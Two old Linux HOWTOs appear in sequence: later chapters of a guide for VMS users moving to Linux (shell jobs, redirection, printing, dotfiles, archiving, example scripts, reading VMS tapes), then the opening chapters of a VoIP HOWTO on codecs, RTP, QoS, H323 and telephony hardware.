    You may need to kill a process when you don't know how to quit it the right way... ;-). Sometimes, a process will only be killed by one of the following:
    $ kill -15 <PID>
$ kill -9 <PID>

In addition to this, the shell allows you to stop or temporarily suspend a process, send a process to background, and bring a process from background to foreground. In this context, processes are called `jobs'.

  • To see how many jobs there are:
    $ jobs
    jobs are identified by the numbers the shell gives them, not by their PID.
  • To stop a process running in foreground:
    $ CTRL-C
    (it doesn't always work)
  • To suspend a process running in foreground:
    $ CTRL-Z
    (ditto)
  • To send a suspended process into background (it becomes a job):
    $ bg <job>
  • To bring a job to foreground:
    $ fg <job>
  • To kill a job:
    $ kill <%job>

8.3 Files, Revisited

More information about files.

  • stdin, stdout, stderr: under UNIX, every system component is treated as if it were a file. Commands and programs get their input from a `file' called stdin (standard input; usually, the keyboard), put their output on a `file' called stdout (usually, the screen), and error messages go to a `file' called stderr (usually, the screen). Using < and > you redirect input and output to a different file. Moreover, >> appends the output to a file instead of overwriting it; 2> redirects error messages (stderr); 2>&1 redirects stderr to stdout, while 1>&2 redirects stdout to stderr. There's a `black hole' called /dev/null: everything redirected to it disappears;
  • wildcards: '*' is almost the same. Usage: * matches all files except the hidden ones; .* matches all hidden files; *.* matches only those that have a '.' in the middle, followed by other characters; p*r matches both `peter' and `piper'; *c* matches both `picked' and `peck'. '%' becomes '?'. There is another wildcard: the []. Usage: [abc]* matches files starting with a, b, c; *[I-N,1,2,3] matches files ending with I, J, K, L, M, N, 1, 2, 3;
  • mv (RENAME) doesn't work for multiple files; that is, mv *.xxx *.yyy won't work;
  • use cp -i and mv -i to be warned when a file is going to be overwritten.

8.4 Print Queues

Your prints are queued, like under VMS. When you issue a print command, you may specify a printer name. Example:

$ lpr file.txt          # this goes to the standard printer
$ lpr -Plaser file.ps   # this goes to the printer named 'laser'

To handle the print queues, you use the following commands:

VMS                                     Linux
------------------------------------------------------------------------------

$ PRINT file.ps                         $ lpr file.ps
$ PRINT/QUEUE=laser file.ps             $ lpr -Plaser file.ps
$ SHOW QUEUE                            $ lpq
$ SHOW QUEUE/QUEUE=laser                $ lpq -Plaser
$ STOP/QUEUE                            $ lprm <item>


From VMS to Linux HOWTO: Configuring

 Next Previous Contents

9. Configuring

Your sysadm has already provided you with a number of configuration files like .xinitrc, .bash_profile, .inputrc, and many others. The ones you may want to edit are:

  • .bash_profile or .profile: read by the shell at login time. It's like LOGIN.COM;
  • .bash_logout: read by the shell at logout. It's like LOGOUT.COM;
  • .bashrc: read by non--login shells.
  • .inputrc: this file customises the key bindings and the behaviour of the shell.

To give you an example, I'll include my .bash_profile (abridged):

# $HOME/.bash_profile

# don't redefine the path if not necessary
echo $PATH | grep $LOGNAME > /dev/null
if [ $? != 0 ]
then
  export PATH="$PATH:/home/$LOGNAME/bin"  # add my dir to the PATH
fi

export PS1='LOGNAME:\w\$ '
export PS2='Continued...>'

# aliases

alias bin="cd ~/bin" ; alias cp="cp -i" ; alias d="dir"
alias del="delete" ; alias dir="/bin/ls $LS_OPTIONS --format=vertical"
alias ed="jed" ; alias mv='mv -i'
alias u="cd .." ; alias undel="undelete"

# A few useful functions

inst() # Install a .tar.gz archive in current directory.
{
  gzip -dc $1 | tar xvf -
}
cz() # List the contents of a .zip archive.
{
  unzip -l $*
}
ctgz() # List the contents of a .tar.gz archive.
{
  for file in $* ; do
    gzip -dc ${file} | tar tf -
  done
}
tgz() # Create a .tgz archive a la zip.
{
  name=$1 ; tar -cvf $1 ; shift
  tar -rf ${name} $* ; gzip -S .tgz ${name}
}

And this is my .inputrc:

# $HOME/.inputrc
# Last modified: 16 January 1997.
#
# This file is read by bash and defines key bindings to be used by the shell;
# what follows fixes the keys END, HOME, and DELETE, plus accented letters.
# For more information, man readline.

"\e[1~": beginning-of-line
"\e[3~": delete-char
"\e[4~": end-of-line

set bell-style visible
set meta-flag On
set convert-meta Off
set output-meta On
set horizontal-scroll-mode On
set show-all-if-ambiguous On

# (F1 .. F5) are "\e[[A" ... "\e[[E"

"\e[[A": "info "


From VMS to Linux HOWTO: Useful Programs

 Next Previous Contents

10. Useful Programs

10.1 Browsing Files: less

You'll use this file browser every day, so I'll give you a couple of tips to use it at best. First of all, ask your sysadm to configure less so as it can display not only plain text files, but also compressed files, archives, and so on.

Like recent versions of TYPE, less lets you browse files in both directions. It also accepts several commands that are issued pressing a key. The most useful are:

  • first of all, press q to leave the browser;
  • h gives you extensive help;
  • g to go to beginning of file, G to the end, number+g to go to line `number' (e.g. 125g), number+% to move to that percentage of the file;
  • /pattern searches forwards for `pattern'; n searches forwards for the next match; ?pattern and N search backwards;
  • m+letter marks current position (e.g. ma); '+letter go to the marked position.
  • :e examines a new file;
  • !command executes the shell command.

10.2 Numbered Backups Under Linux

Alas, Linux doesn't still support file version numbers, but you overcome this limitation in two ways. The first is to use RCS, the Revision Control System, which allows you to keep previous versions of a file. RCS is covered in ``The RCS MINI-HOWTO'' ( http://sunsite.unc.edu/mdw/HOWTO/mini/RCS.html).

The second way is to use an editor that knows how to deal with numbered backups; emacs and jed are OK. In emacs, add these lines in your .emacs:

(setq version-control t)
(setq kept-new-versions 15) ;;; or any other value
(setq kept-old-versions 15)
(setq backup-by-copying-when-linked t)
(setq backup-by-copying-when-mismatch t)

In jed, make sure you have version 0.98.7 or newer; the patch for numbered backups is available on http://ibogeo.df.unibo.it/guido/slang/backups.sl .

10.3 Archiving: tar & gzip

Under UNIX there are some widely used applications to archive and compress files. tar is used to make archives, that is collections of files. To make a new archive:

$ tar -cvf <archive_name.tar> <file> [file...]

To extract files from an archive:

$ tar -xpvf <archive_name.tar> [file...]

To list the contents of an archive:

$ tar -tf <archive_name.tar> | less

Files can be compressed to save disk space using compress, which is obsolete and shouldn't be used any more, or gzip:

$ compress <file>
$ gzip <file>

that creates a compressed file with extension .Z (compress) or .gz (gzip). These programs don't make archives, but compress files individually. To decompress, use:

$ compress -d <file.Z>
$ gzip -d <file.gz>

RMP.

The unarj, zip and unzip utilities are also available. Files with extension .tar.gz or .tgz (archived with tar, then compressed with gzip) are very common in the UNIX world. Here's how to list the contents of a .tar.gz archive:

$ tar -ztf <file.tar.gz> | less

To extract the files from a .tar.gz archive:

$ tar -zxf <file.tar.gz>


From VMS to Linux HOWTO: Real Life Examples

 Next Previous Contents

11. Real Life Examples

UNIX' core idea is that there are many simple commands that can linked together via piping and redirection to accomplish even really complex tasks. Have a look at the following examples. I'll only explain the most complex ones; for the others, please study the above sections and the man pages.

Problem: ls is too quick and the file names fly away.

Solution:

$ ls | less

Problem: I have a file containing a list of words. I want to sort it in reverse order and print it.

Solution:

$ cat myfile.txt | sort -r | lpr

Problem: my data file has some repeated lines! How do I get rid of them?

Solution:

$ sort datafile.dat | uniq > newfile.dat

Problem: I have a file called 'mypaper.txt' or 'mypaper.tex' or some such somewhere, but I don't remember where I put it. How do I find it?

Solution:

$ find ~ -name "mypaper*"

Explanation: find is a very useful command that lists all the files in a directory tree (starting from ~ in this case). Its output can be filtered to meet several criteria, such as -name.

Problem: I have a text file containing the word 'entropy' in this directory, is there anything like SEARCH?

Solution: yes, try

$ grep -l 'entropy' *

Problem: somewhere I have text files containing the word 'entropy', I'd like to know which and where they are. Under VMS I'd use search entropy [...]*.*;*, but grep can't recurse subdirectories. Now what?

Solution:

$ find . -exec grep -l "entropy" {} \; 2> /dev/null

Explanation: find . outputs all the file names starting from the current directory, -exec grep -l "entropy" is an action to be performed on each file (represented by {}), \ terminates the command. If you think this syntax is awful, you're right.

In alternative, write the following script:

#!/bin/sh
# rgrep: recursive grep
if [ $# != 3 ]
then
  echo "Usage: rgrep --switches 'pattern' 'directory'"
  exit 1
fi
find $3 -name "*" -exec grep $1 $2 {} \; 2> /dev/null

Explanation: grep works like search, and combining it with find we get the best of both worlds.

Problem: I have a data file that has two header lines, then every line has 'n' data, not necessarily equally spaced. I want the 2nd and 5th data value of each line. Shall I write a Fortran program...?

Solution: nope. This is quicker:

$ awk 'NL > 2 {print $2, "\t", $5}' datafile.dat > newfile.dat

Explanation: the command awk is actually a programming language: for each line starting from the third in datafile.dat, print out the second and fifth field, separated by a tab. Learn some awk---it saves a lot of time.

Problem: I've downloaded an FTP site's ls-lR.gz to check its contents. For each subdirectory, it contains a line that reads "total xxxx", where xxxx is size in kbytes of the dir contents. I'd like to get the grand total of all these xxxx values.

Solution:

$ zcat ls-lR.gz | awk ' $1 == "total" { i += $2 } END {print i}'

Explanation: zcat outputs the contents of the .gz file and pipes to awk, whose man page you're kindly requested to read ;-)

Problem: I've written a Fortran program, myprog, to calculate a parameter from a data file. I'd like to run it on hundreds of data files and have a list of the results, but it's a nuisance to ask each time for the file name. Under VMS I'd write a lengthy command file, and under Linux?

Solution: a very short script. Make your program look for the data file 'mydata.dat' and print the result on the screen (stdout), then write the following script:

#!/bin/sh
# myprog.sh: run the same command on many different files
# usage: myprog.sh *.dat
for file in $*  # for all parameters (e.g. *.dat)
do
  # append the file name to result.dat
  echo -n "${file}:    " >> results.dat
  # copy current argument to mydata.dat, run myprog
  # and append the output to results.dat
  cp ${file} mydata.dat ; myprog >> results.dat
done

Problem: I want to replace `geology' with `geophysics' in all my text files. Shall I edit them all manually?

Solution: nope. Write this shell script:

#!/bin/sh
# replace $1 with $2 in $*
# usage: replace "old-pattern" "new-pattern" file [file...]
OLD=$1          # first parameter of the script
NEW=$2          # second parameter
shift ; shift   # discard the first 2 parameters: the next are the file names
for file in $*  # for all files given as parameters
do
# replace every occurrence of OLD with NEW, save on a temporary file
  sed "s/$OLD/$NEW/g" ${file} > ${file}.new
# rename the temporary file as the original file
  /bin/mv ${file}.new ${file}
done

Problem: I have some data files, I don't know their length and have to remove their last but one and last but two lines. Er... manually?

Solution: no, of course. Write this script:

#!/bin/sh
# prune.sh: removes n-1th and n-2th lines from files
# usage: prune.sh file [file...]
for file in $*   # for every parameter
do
  LINES=`wc -l $file | awk '{print $1}'`  # number of lines in file
  LINES=`expr $LINES - 3`                 # LINES = LINES - 3
  head -n $LINES $file > $file.new        # output first LINES lines
  tail -n 1 $file >> $file.new            # append last line
done

I hope these examples whetted your appetite...


From VMS to Linux HOWTO: Tips You Can't Do Without

 Next Previous Contents

12. Tips You Can't Do Without

  • Command completion: pressing <TAB> when issuing a command will complete the command line for you. Example: you have to type less this_is_a_long_name; typing in less thi<TAB> will suffice. (If you have other files that start with the same characters, supply enough characters to resolve any ambiguity.)
  • Back-scrolling: pressing SHIFT--PAG UP (the grey key) allows you to backscroll a few pages, depending on your PC's video memory.
  • Resetting the screen: if you happen to more or cat a binary file, your screen may end up full of garbage. To fix things, blind type reset or this sequence of characters: echo CTRL-V ESC c RETURN.
  • Pasting text: in console, see below; in X, click and drag to select the text in an xterm window, then click the middle button (or the two buttons together if you have a two-button mouse) to paste.
  • Using the mouse: ask your sysadm to install gpm, a mouse driver for the console. Click and drag to select text, then right click to paste the selected text. It works across different VCs.


From VMS to Linux HOWTO: Reading VMS tapes from Linux

 Next Previous Contents

13. Reading VMS tapes from Linux

(This section was written by Mike Miller)

13.1 Introduction

From time to time you may want to read tapes made on a VMS machine (or tapes that are made to be readable by VMS and *nix systems). In general, this is quite easy for DECFILES11A tapes.

Although you may be reading this as part of a Linux mini-HOWTO, I believe that the information here is applicable to any *nix system - I've done this on Linux, HP, Sun and DEC *nix systems. The main platform dependences that I know are device names, which can differ on different systems, and the options to mt for specifying the device name (for example, mt -f on Linux and mt -t on HPUX 9).

Caveat - I've only tried this with Exabyte 8mm SCSI tape drives. If you've read other formats (still got those 9-tracks lying around?) let me know and I'll add a note here.

13.2 The Basics

When reading a tape that has been made with the VMS ``copy'' command (or has at least been made to look like it was made with copy) all you need to know is there will be three files on the tape for each actual data file - a header, the data, and a trailer. The header and trailer are interesting in that they contain info on the file as it existed under VMS. The data is, well, the data. Each of these files can be extracted from the tape with the dd command. The tape can be positioned by skipping around with the mt command.

Example: I've got VMS tape with a series of files on it. The first two were originally named ce66-2.evt and ce66-3.evt on a VMS system. The tape label is c66a2.

If I execute these commands:

> dd if=$TAPE bs=16k of=header1
> dd if=$TAPE bs=16k of=data1
> dd if=$TAPE bs=16k of=trailer1
> dd if=$TAPE bs=16k of=header2
> dd if=$TAPE bs=16k of=data2
> dd if=$TAPE bs=16k of=trailer2

I'm left with six files: header1, data1, trailer1, header2, data2 and trailer2. The syntax here is if="input file", bs="block size" and of="output file". TAPE is expected to be a variable containing the device name of your tape drive - for example, /dev/nts0 if you are using the first SCSI tape on Linux.

If you wanted to read the second file, but not the first, you didn't care about the header, and you wanted to use the original file name, do this:

> mt -f $TAPE fsf 4
> dd if=$TAPE bs=16k of=ce66-2.evt
> mt -f $TAPE fsf 1

Note the 4 - skip three files for the first file on the tape and one for the next header. The second mt skips the second file's trailer and positions the tape at the beginning of the next file - the third VMS header. You can also use mt to skip backwards (bsf), rewind (rewind) and rewind and unload the tape (offline, rewoffl).

13.3 Some details

The header and trailer files contain uppercase ASCII data used by VMS to store file information such as block size. They also contain the file name, which can be handy if you want to build scripts that automate read files or search for a particular file. The first header on a tape volume is slightly different than subsequent headers.

For a file that is the first file on the tape, as in header1 of the above example, the first four characters will be "VOL1" followed by the volume name. In the example, header1 starts with "VOL1C66A2". This is followed by a series of spaces terminated with a numeral. After that is the string "HDR1" which indicates that this is a file header. The characters immediately following the HDR1 string are the VMS file name. In in the example, this is "HDR1CE66-2.EVT". The next field is the volume name again.

For files that are not the first file on the tape, the initial VOL1 field is not present. Other than that the header has the same structure as for the initial file. Another useful field is the 7th field, which will end with "DECFILES11A". This must be present on tapes that conform to the DEC Files11A standard.

       field     initial header         subsequent headers
       =====     =============          ==================
         1       VOL1 + volume name     HDR1 + file name
         2       3HDR1 + file name      volume name
         3       volume name

         6                              ...DECFILES11A
         7      ...DECFILES11A

For full details on the header and trailer format, see the DEC FILES11A documentation (on the orange/grey wall - ask your local VMS folks :-).

13.4 Comment on Block Size

In the example, I used a block size of 16k. On a *nix system, there is no block size associated with a file on disk while, under VMS, each file has a specific block size. That means that block size doesn't matter too much on the Linux end... unless it makes it hard to read the tape. If you have difficulty figuring out the block size and reading a tape, you can try setting the hardware block size on your tape drive using `mt -f $TAPE setblk 0'. The exact form of the setblk option (and its availability) may depend on the version of mt, the tape drive hardware interface and on your particular flavor of *nix.

(Thanks to Wojtek Skulski ( skulski@nsrlc6.nsrl.rochester.edu) for pointing out setblk.)


From VMS to Linux HOWTO: The End

 Next Previous Contents

14. The End

14.1 Copyright

Unless otherwise stated, Linux HOWTO documents are copyrighted by their respective authors. Linux HOWTO documents may be reproduced and distributed in whole or in part, in any medium physical or electronic, as long as this copyright notice is retained on all copies. Commercial redistribution is allowed and encouraged; however, the author would like to be notified of any such distributions.

All translations, derivative works, or aggregate works incorporating any Linux HOWTO documents must be covered under this copyright notice. That is, you may not produce a derivative work from a HOWTO and impose additional restrictions on its distribution. Exceptions to these rules may be granted under certain conditions; please contact the Linux HOWTO coordinator at the address given below.

In short, we wish to promote dissemination of this information through as many channels as possible. However, we do wish to retain copyright on the HOWTO documents, and would like to be notified of any plans to redistribute the HOWTOs.

If you have questions, please contact Tim Bynum, the Linux HOWTO coordinator, at linux-howto@sunsite.unc.edu via email.

14.2 Disclaimer

This work was written following the experience we had at the Settore di Geofisica of the Universita' di Bologna (Italy), where a VAX 4000 has been superseded and replaced by Linux-based Pentium PCs. Most of my colleagues are VMS users, and some of them have switched to Linux.

``From VMS to Linux HOWTO'' was written by Guido Gonzato, guido ``at'' ibogeo.df.unibo.it, and Mike Miller, miller5@uiuc.edu who contributed the section on reading VMS tapes. Many thanks to my colleagues and friends who helped me define the needs and habits of the average VMS user, especially to Dr. Warner Marzocchi.

Please help me improve this HOWTO. I'm not a VMS expert and never will be, so your suggestions and bug reports are more than welcome.

Enjoy,

Guido =8-)


VoIP Howto

Roberto Arcomano berto@fatamorgana.com

v1.42, April 18, 2002

Voice Over IP is a new communication means that let you telephone with Internet at almost null cost. How this is possible, what systems are used, what is the standard, all that is covered by this Howto. Web site http://www.fatamorgana.com/bertolinux contains latest version of this document.

1. Introduction

  • 1.1 Introduction
  • 1.2 Copyright
  • 1.3 Translations
  • 1.4 Credits

2. Background

  • 2.1 The past
  • 2.2 Yesterday
  • 2.3 Today
  • 2.4 The future

3. Overview

  • 3.1 What is VoIP?
  • 3.2 How does it work?
  • 3.3 What is the advantages using VoIP rather PSTN?
  • 3.4 Then, why everybody doesn't use it yet?

4. Technical info about VoIP

  • 4.1 Overview on a VoIP connection
  • 4.2 Analog to Digital Conversion
  • 4.3 Compression Algorithms
  • 4.4 RTP Real Time Transport Protocol
  • 4.5 RSVP
  • 4.6 Quality of Service (QoS)
  • 4.7 H323 Signaling Protocol

5. Requirement

  • 5.1 Hardware requirement
  • 5.2 Hardware accelerating cards
  • 5.3 Hardware gateway cards
  • 5.4 Software requirement
  • 5.5 Gateway software
  • 5.6 Gatekeeper software
  • 5.7 Other software

6. Cards setup

  • 6.1 Quicknet PhoneJack
  • 6.2 Quicknet LineJack
  • 6.3 VoiceTronix products

7. Setup

  • 7.1 Simple communication: IP to IP
  • 7.2 Using names
  • 7.3 Internet calling using a WINS server
  • 7.4 A big problem: the masquering.
  • 7.5 Using Linux
  • 7.6 Setting up a gatekeeper
  • 7.7 Setting up a gateway
  • 7.8 Compatibility Matrix

8. Bandwidth consideration

9. Glossary

10. Useful links

  • 10.1 Open software link
  • 10.2 Commercial link


VoIP Howto: Introduction

 Next Previous Contents

1. Introduction

1.1 Introduction

This document explains about VoIP systems. Recent happenings like Internet diffusion at low cost, new integration of dedicated voice compression processors, have changed common user requirements allowing VoIP standards to diffuse. This howto tries to define some basic lines of VoIP architecture.

Please send suggestions and critics to my email address

1.2 Copyright

Copyright (C) 2000,2001 Roberto Arcomano. This document is free; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This document is distributed in the hope that it will be useful, but

WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You can get a copy of the GNU GPL here

1.3 Translations

If you want to translate this document you are free, you only have to:

  1. Check that another version of it doesn't already exist at your local LDP
  2. Maintain all 'Introduction' section (including 'Introduction', 'Copyright', 'Translations', 'Credits').

No need to ask me to translate! You just have to let me know (if you want) about your translation.

Thank you for your translation!

1.4 Credits

Thanks to Fatamorgana Computers for hardware equipment and experimental opportunity.

Thanks to Linux Documentation Project for publishing and uploading my document in a very quickly fashion.

Thanks to David Price for his support.


VoIP Howto: Background

 Next Previous Contents

2. Background

2.1 The past

More than 30 years ago Internet didn't exist. Interactive communications were only made by telephone at PSTN line cost.

Data exchange was expansive (for a long distance) and no one had been thinking to video interactions (there was only television that is not interactive, as known).

2.2 Yesterday

Few years ago we saw appearing some interesting things: PCs to large masses, new technologies to communicate like cellular phones and finally the great net: Internet; people begun to communicate with new services like email, chat, etc. and business reborned with the web allowing people buy with a "click".

2.3 Today

Today we can see a real revolution in communication world: everybody begins to use PCs and Internet for job and free time to communicate each other, to exchange data (like images, sounds, documents) and, sometimes, to talk each other using applications like Netmeeting or Internet Phone. Particularly starts to diffusing a common idea that could be the future and that can allow real-time vocal communication: VoIP.

2.4 The future

We cannot know what is the future, but we can try to image it with many computers, Internet almost everywhere at high speed and people talking (audio and video) in a real time fashion. We only need to know what will be the means to do this: UMTS, VoIP (with video extension) or other? Anyway we can notice that Internet has grown very much in the last years, it is free (at least as international means) and could be the right communication media for future.


VoIP Howto: Overview

 Next Previous Contents

3. Overview

3.1 What is VoIP?

VoIP stands for 'V'oice 'o'ver 'I'nternet 'P'rotocol. As the term says VoIP tries to let go voice (mainly human) through IP packets and, in definitive through Internet. VoIP can use accelerating hardware to achieve this purpose and can also be used in a PC environment.

3.2 How does it work?

Many years ago we discovered that sending a signal to a remote destination could have be done also in a digital fashion: before sending it we have to digitalize it with an ADC (analog to digital converter), transmit it, and at the end transform it again in analog format with DAC (digital to analog converter) to use it.

VoIP works like that, digitalizing voice in data packets, sending them and reconverting them in voice at destination.

Digital format can be better controlled: we can compress it, route it, convert it to a new better format, and so on; also we saw that digital signal is more noise tolerant than the analog one (see GSM vs TACS).

TCP/IP networks are made of IP packets containing a header (to control communication) and a payload to transport data: VoIP use it to go across the network and come to destination.

Voice (source)  - - ADC - - - - Internet - - - DAC  - - Voice (dest)

3.3 What is the advantages using VoIP rather PSTN?

When you are using PSTN line, you typically pay for time used to a PSTN line manager company: more time you stay at phone and more you'll pay. In addition you couldn't talk with other that one person at a time.

In opposite with VoIP mechanism you can talk all the time with every person you want (the needed is that other person is also connected to Internet at the same time), as far as you want (money independent) and, in addition, you can talk with many people at the same time.

If you're still not persuaded you can consider that, at the same time, you can exchange data with people are you talking with, sending images, graphs and videos.

3.4 Then, why everybody doesn't use it yet?

Unfortunately we have to report some problem with the integration between VoIP architecture and Internet. As you can easy imagine, voice data communication must be a real time stream (you couldn't speak, wait for many seconds, then hear other side answering): this is in contrast with the Internet heterogeneous architecture that can be made of many routers (machines that route packets), about 20-30 or more and can have a very high round trip time (RTT), so we need to modify something to get it properly working.

In next sections we'll try to understand how to solve this great problem. In general we know that is very difficult to guarantee a bandwidth in Internet for VoIP application.


VoIP Howto: Technical info about VoIP

 Next Previous Contents

4. Technical info about VoIP

Here we see some important info about VoIP, needed to understand it.

4.1 Overview on a VoIP connection

To setup a VoIP communication we need:

  1. First the ADC to convert analog voice to digital signals (bits)
  2. Now the bits have to be compressed in a good format for transmission: there is a number of protocols we'll see after.
  3. Here we have to insert our voice packets in data packets using a real-time protocol (typically RTP over UDP over IP)
  4. We need a signaling protocol to call users: ITU-T H323 does that.
  5. At RX we have to disassemble packets, extract datas, then convert them to analog voice signals and send them to sound card (or phone)
  6. All that must be done in a real time fashion cause we cannot waiting for too long for a vocal answer! (see QoS section)

                        Base architecture

Voice )) ADC - Compression Algorithm -  Assembling RTP in TCP/IP -----
                                                         ---->      |
                                                         <----      |
Voice (( DAC - Decompress. Algorithm -  Disass. RTP from TCP/IP  -----

4.2 Analog to Digital Conversion

This is made by hardware, typically by card integrated ADC.

Today every sound card allows you convert with 16 bit a band of 22050 Hz (for sampling it you need a freq of 44100 Hz for Nyquist Principle) obtaining a throughput of 2 bytes * 44100 (samples per second) = 88200 Bytes/s, 176.4 kBytes/s for stereo stream.

For VoIP we needn't such a throughput (176kBytes/s) to send voice packet: next we'll see other coding used for it.

4.3 Compression Algorithms

Now that we have digital data we may convert it to a standard format that could be quickly transmitted.

PCM, Pulse Code Modulation, Standard ITU-T G.711

  • Voice bandwidth is 4 kHz, so sampling bandwidth has to be 8 kHz (for Nyquist).
  • We represent each sample with 8 bit (having 256 possible values).
  • Throughput is 8000 Hz *8 bit = 64 kbit/s, as a typical digital phone line.
  • In real application mu-law (North America) and a-law (Europe) variants are used which code analog signal a logarithmic scale using 12 or 13 bits instead of 8 bits (see Standard ITU-T G.711).

ADPCM, Adaptive differential PCM, Standard ITU-T G.726

It converts only the difference between the actual and the previous voice packet requiring 32 kbps (see Standard ITU-T G.726).

LD-CELP, Standard ITU-T G.728
CS-ACELP, Standard ITU-T G.729 and G.729a
MP-MLQ, Standard ITU-T G.723.1, 6.3kbps, Truespeech
ACELP, Standard ITU-T G.723.1, 5.3kbps, Truespeech
LPC-10, able to reach 2.5 kbps!!

This last protocols are the most important cause can guarantee a very low minimal band using source coding; also G.723.1 codecs have a very high MOS (Mean Opinion Score, used to measure voice fidelity) but attention to elaboration performance required by them, up to 26 MIPS!

4.4 RTP Real Time Transport Protocol

Now we have the raw data and we want to encapsulate it into TCP/IP stack. We follow the structure:

VoIP data packets
       RTP
       UDP
       IP
    I,II layers

VoIP data packets live in RTP (Real-Time Transport Protocol) packets which are inside UDP-IP packets.

Firstly, VoIP doesn't use TCP because it is too heavy for real time applications, so instead a UDP (datagram) is used.

Secondly, UDP has no control over the order in which packets arrive at the destination or how long it takes them to get there (datagram concept). Both of these are very important to overall voice quality (how well you can understand what the other person is saying) and conversation quality (how easy it is to carry out a conversation). RTP solves the problem enabling the receiver to put the packets back into the correct order and not wait too long for packets that have either lost their way or are taking too long to arrive (we don't need every single voice packet, but we need a continuous flow of many of them and ordered).

                    Real Time Transport Protocol

    0                   1                   2                   3
    0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
   |V=2|P|X|  CC   |M|     PT      |       sequence number         |
   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
   |                           timestamp                           |
   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
   |           synchronization source (SSRC) identifier            |
   +=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
   |            contributing source (CSRC) identifiers             |
   |                             ....                              |
   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

Where:

  • V indicates the version of RTP used
  • P indicates the padding, a byte not used at bottom packet to reach the parity packet dimension
  • X is the presence of the header extension
  • CC field is the number of CSRC identifiers following the fixed header. CSRC field are used, for example, in conference case.
  • M is a marker bit
  • PT payload type

For a complete description of RTP protocol and all its applications see relative RFCs 1889 and 1890.

4.5 RSVP

There are also other protocols used in VoIP, like RSVP, that can manage Quality of Service (QoS).

RSVP is a signaling protocol that requests a certain amount of bandwidth and latency in every network hop that supports it.

For detailed info about RSVP see the RFC 2205

4.6 Quality of Service (QoS)

We said many times that VoIP applications require a real-time data streaming cause we expect an interactive data voice exchange.

Unfortunately, TCP/IP cannot guarantee this kind of purpose, it just make a "best effort" to do it. So we need to introduce tricks and policies that could manage the packet flow in EVERY router we cross.

So here are:

  1. TOS field in IP protocol to describe type of service: high values indicate low urgency while more and more low values bring us more and more real-time urgency
  2. Queuing packets methods:
    1. FIFO (First in First Out), the more stupid method that allows passing packets in arrive order.
    2. WFQ (Weighted Fair Queuing), consisting in a fair passing of packets (for example, FTP cannot consume all available bandwidth), depending on kind of data flow, typically one packet for UDP and one for TCP in a fair fashion.
    3. CQ (Custom Queuing), users can decide priority.
    4. PQ (Priority Queuing), there is a number (typically 4) of queues with a priority level each one: first, packets in the first queue are sent, then (when first queue is empty) starts sending from the second one and so on.
    5. CB-WFQ (Class Based Weighted Fair Queuing), like WFQ but, in addition, we have classes concept (up to 64) and the bandwidth value associated for each one.
  3. Shaping capability, that allows to limit the source to a fixed bandwidth in:
    1. download
    2. upload
  4. Congestion Avoidance, like RED (Random Early Detection).

For an exhaustive information about QoS see Differentiated Services at IETF.

4.7 H323 Signaling Protocol

H323 protocol is used, for example, by Microsoft Netmeeting to make VoIP calls.

This protocol allow a variety of elements talking each other:

  1. Terminals, clients that initialize VoIP connection. Although terminals could talk together without anyone else, we need some additional elements for a scalable vision.
  2. Gatekeepers, that essentially operate:
    1. address translation service, to use names instead IP addresses
    2. admission control, to allow or deny some hosts or some users
    3. bandwidth management
  3. Gateways, points of reference for conversion TCP/IP - PSTN.
  4. Multipoint Control Units (MCUs) to provide conference.
  5. Proxies Server also are used.

h323 allows not only VoIP but also video and data communications.

Concerning VoIP, h323 can carry audio codecs G.711, G.722, G.723, G.728 and G.729 while for video it supports h261 and h263.

More info about h323 is available at Openh323 Standards, at this h323 web site and at its standard description: ITU H-series Recommendations.

You can find it implemented in various application software like Microsoft Netmeeting, Net2Phone, DialPad, ... and also in freeware products you can find at Openh323 Web Site.


VoIP Howto: Requirement

 Next Previous Contents

5. Requirement

5.1 Hardware requirement

To create a little VoIP system you need the following hardware:

  1. PC 386 or more
  2. Sound card, full duplex capable
  3. a network card or connection to internet or other kind of interface to allow communication between 2 PCs

All that has to be present twice to simulate a standard communication.

The tool above are the minimal requirement for a VoIP connection: next we'll see that we should (and in Internet we must) use more hardware to do the same in a real situation.

Sound card has be full duplex unless we couldn't hear anything while speaking!

As additional you can use hardware cards (see next) able to manage data stream in a compressed format (see Par 4.3).

5.2 Hardware accelerating cards

We can use special cards with hardware accelerating capability. Two of them (and also the only ones directly managed by the Linux kernel at this moment) are the

  1. Quicknet PhoneJack
  2. Quicknet LineJack
  3. VoiceTronix V4PCI
  4. VoiceTronix VPB4
  5. VoiceTronix VPB8L

Quicknet PhoneJack is a sound card that can use standard algorithms to compress audio stream like G723.1 (section 4.3) down to 4.1 Kbps rate.

It can be connected directly to a phone (POTS port) or a couple mic-speaker.

It has a ISA or PCI connector bus.

Quicknet LineJack works like PhoneJack with some addition features (see next).

VoiceTronix V4PCI is a PCI card pretty like Quicknet LineJack but with 4 phone ports

VoiceTronix VPB4 is a ISA card equivalent to V4PCI.

VoiceTronix VPB8L is a logging card with 8 ports.

For more info see Quicknet web site and VoiceTronix web site

5.3 Hardware gateway cards

Quicknet LineJack and VoiceTronix cards can be connected to a PSTN line allowing VoIP gateway feature.

Then you'll need a software to manage it (see after).

5.4 Software requirement

We can choose what O.S. to use:

  1. Win9x
  2. Linux

Under Win9x we have Microsoft Netmeeting, Internet Phone, DialPad or others or Internet Switchboard (from Quicknet web site) for Quicknet cards.

Warning!!: Latest Quicknet cards using Swithboard (older version too) NEED to be connected to Internet to get working for managing Microtelco account (not free of charge), so if you plan to remain isolated from Internet you need to install OpenH323 software.

For VoiceTronix cards you can find software at VoiceTronix web site

Under Linux we have free software GnomeMeeting, a clone of Microsoft Netmeeting, while in console mode we use (also free software) applications from OpenH323 web site: simph323 or ohphone that can also work with Quicknet accelerating hardware.

